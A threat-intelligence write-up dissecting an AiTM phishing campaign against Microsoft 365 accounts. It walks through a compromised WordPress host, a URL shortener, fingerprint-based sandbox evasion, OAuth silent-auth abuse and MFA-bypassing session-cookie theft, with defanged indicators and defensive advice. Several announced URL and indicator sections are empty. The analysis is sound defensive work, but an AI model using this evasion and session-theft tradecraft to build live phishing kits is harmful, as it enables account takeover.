One Email, Five Layers: Anatomy of an AiTM Phishing Kill Chain

Executive Summary

This is a technical teardown of an Adversary-in-the-Middle (AiTM) phishing campaign that chained together a Russian URL shortener, a compromised legitimate website, browser-fingerprint-based evasion, and abuse of Microsoft's own OAuth silent-authentication flow to intercept an authenticated session.

The throughline is simple and uncomfortable: every stage of this attack ran on infrastructure that looked legitimate. A real shortener and a real nine-year-old business website. Microsoft's real login.microsoftonline.com endpoint, returning a real Microsoft error code. None of the usual “is this domain sketchy” signals fired, because at almost every hop, the domain was not sketchy. It was real, and it was being abused.

If your defensive model assumes attackers operate from obviously malicious infrastructure, this is the campaign that breaks that assumption. We map it stage by stage against the Cyber Kill Chain below.

Reconnaissance and Weaponization

The operator's preparation is visible in the infrastructure they assembled rather than in any direct targeting we observed.

The weaponized asset was a phishing kit staged on contessadesigns[.]com.au, a legitimate Australian design company's website, approximately nine years old, with no history of abuse. The attackers did not register look-alike infrastructure. They compromised a real WordPress installation and deployed the kit into the /wp-admin/ directory.

The path delivered to our client was:

• contessadesigns[.]com.au/wp-admin/cos746hw/

During analysis we identified a second, parallel path on the same compromised host through open-source intelligence correlation, a prior URLScan submission (tagged hybridanalysis) of:

• contessadesigns[.]com.au/wp-admin/xk564de3/

This second path was not part of the lure our client received. We connected it to the same operation through shared infrastructure and identical kit construction (detailed under Actions on Objectives). Both follow a /wp-admin/[8-char-token]/ convention. The token-per-path structure is consistent with campaign segmentation, allowing the operator to map a given victim or lure batch to a specific path. A fresh TLS certificate was issued for the host four days before the campaign went active, the only meaningful anomaly against an otherwise clean nine-year reputation.

Defensive note: Domain age, registration history, and reputation scoring are all clear here. Weaponization on compromised legitimate infrastructure is specifically designed to defeat reputation-based controls.

Delivery

Delivery was via email from hreasilygroup[.]com, carrying a single link to goo[.]su, a Russian URL shortener with more than 4,000 prior submissions on URLScan.

The shortener serves a deliberate function in the kill chain. The malicious destination is resolved only at click time, after the link has already passed inbound filtering.

Exploitation

This is the stage where the abuse of legitimate infrastructure becomes the core of the technique rather than a supporting detail.

The kit leveraged Microsoft's OAuth 2.0 silent-authentication flow. By initiating an authorization request against login.microsoftonline.com with prompt=none, the kit asks Microsoft to authenticate the user silently, without an interactive prompt, succeeding only if a valid session already exists. When no session is present, Microsoft returns error AADSTS50058: a silent sign-in request was sent but no user is signed in.

That error is genuine, and it originates from Microsoft's real authentication endpoint. The kit weaponizes the legitimate OAuth error path itself: to the victim, the resulting page reads as a benign, slightly broken Microsoft redirect, while the kit uses the silent-auth probe to determine session state and drive the next stage.

The full effective URL captured during analysis:

Note the error_uri pointing at the real login.microsoftonline.com error reference, and the base64-encoded state parameter carrying the kit's payload.

Installation (Client-Side Staging)

The kit page is not a heavyweight credential-harvesting form. It is a forty-line client-side redirector whose only job is to extract the victim identifier and hand off to the harvest stage.

The logic is worth reading closely:

1. It extracts the state parameter from the current URL.
2. It base64-decodes the value via atob() and tests for an @ character, expecting a victim email address embedded in state.
3. On success, it redirects to the harvest domain with the email appended as a URL fragment (#email@domain).
4. On failure, it bails silently to console.log with no visible error.

The use of the fragment is a deliberate operational choice. Fragments are never transmitted in the HTTP request to the server, so the victim's email never appears in server-side logs or proxy records. It is read client-side by the landing page to pre-populate the spoofed login form, leaving the target to supply only a password.

Ahead of this redirect, the kit loaded openfpcdn[.]io (FingerprintJS) to fingerprint the browser. Visitors resembling sandboxes, scanners, or analyst environments were served a dead page; only sessions passing the fingerprint check proceeded. This is why the same URL can return clean to automated analysis while remaining live against intended targets.

Command and Control / Exfiltration

The harvest endpoint was cloudmetadatatechnologiescapital.applusgzvdanmarkas[.]vu, a credential-collection page on a .vu (Vanuatu) ccTLD chosen for low registration scrutiny.

Because the kit operates Adversary-in-the-Middle, the spoofed login page does not simply store a password. It relays the victim's credentials and authentication responses to Microsoft in real time and captures the resulting authenticated session cookie. This is the critical exfiltration target. A stolen session token represents a fully authenticated state and bypasses MFA entirely, since the multi-factor challenge has already been satisfied during the relayed login.

Network analysis of the live kit, captured in the URLScan submission of the xk564de3 path, surfaced a Russian-hosted tracking and redirect stack supporting the campaign:

The presence of a full analytics stack (Yandex Metrika, Mail.ru, Yadro) indicates an operator instrumenting the campaign for click-through and conversion metrics, consistent with an actor running phishing at scale and optimizing delivery against measured results.

Actions on Objectives

The two kit paths were observed through different means: cos746hw was the live delivery URL from our client's lure, while xk564de3 was surfaced through OSINT correlation of a prior public URLScan submission. We assess with high confidence that both belong to a single operation.

The basis: both sit on the same compromised host, both construct an identical Microsoft OAuth chain, both return identically encoded AADSTS50058 error parameters, and both follow the same /wp-admin/[8-char-token]/ staging convention. Independent, coincidental deployment of separate tooling on the same compromised host, with this degree of construction overlap, is effectively implausible.

The result is one operator running multiple parallel delivery paths, active at time of analysis.

The objective was session-token theft against Microsoft 365 identities. With a captured session cookie, an attacker can establish authenticated access to mail, files, and downstream OAuth-connected services, frequently as a precursor to business email compromise, internal phishing, or lateral movement into connected SaaS.

The Takeaway: “Legitimate” Is Not a Security Signal

Walk back through the chain and count the legitimate components:

• A real, established business website (contessadesigns[.]com.au)
• A real, valid TLS certificate
• A real, widely-used URL shortener
• Microsoft's real login.microsoftonline.com OAuth endpoint
• A real, genuine Microsoft error code (AADSTS50058)
• Legitimate third-party libraries (FingerprintJS, Bootstrap, Alpine.js)

At nearly every hop, the infrastructure was authentic. The attack did not hide behind obviously malicious domains. It hid behind real ones. This is the operational reality of modern AiTM phishing: reputation, domain age, and the presence of a valid certificate are no longer sufficient signals, because attackers increasingly operate from compromised-but-legitimate infrastructure and abuse the trusted auth flows of the very platforms they are impersonating.

For defenders, the implications are concrete:

• Inspect the full URL and request chain, not the apparent brand. A page that references login.microsoftonline.com and returns a real Microsoft error code can still be the front of an AiTM kit. The trust signals can be genuine while the context is hostile.

• Treat session tokens as the crown jewels. MFA is necessary but does not defend against post-authentication session theft. Conditional access, short session-token lifetimes, token-binding where available, and sign-in anomaly detection are the controls that matter against AiTM.

• Assume campaign scale. Parallel kit paths, an instrumented analytics stack, and a dedicated harvest domain all indicate volume operations. A single observed recipient is a sample, not the population.

• Users are still the last line of defense. At the end of the day, this whole operation only works when a user enters their O365 credentials into a page with a questionable .vu domain. Users should always check the URL when entering credentials to ensure it is the legitimate site. A password manager with autofill is a great, low friction way to do this, since it will only offer saved credentials on the real domain and stays quiet on a lookalike.

Indicators of Compromise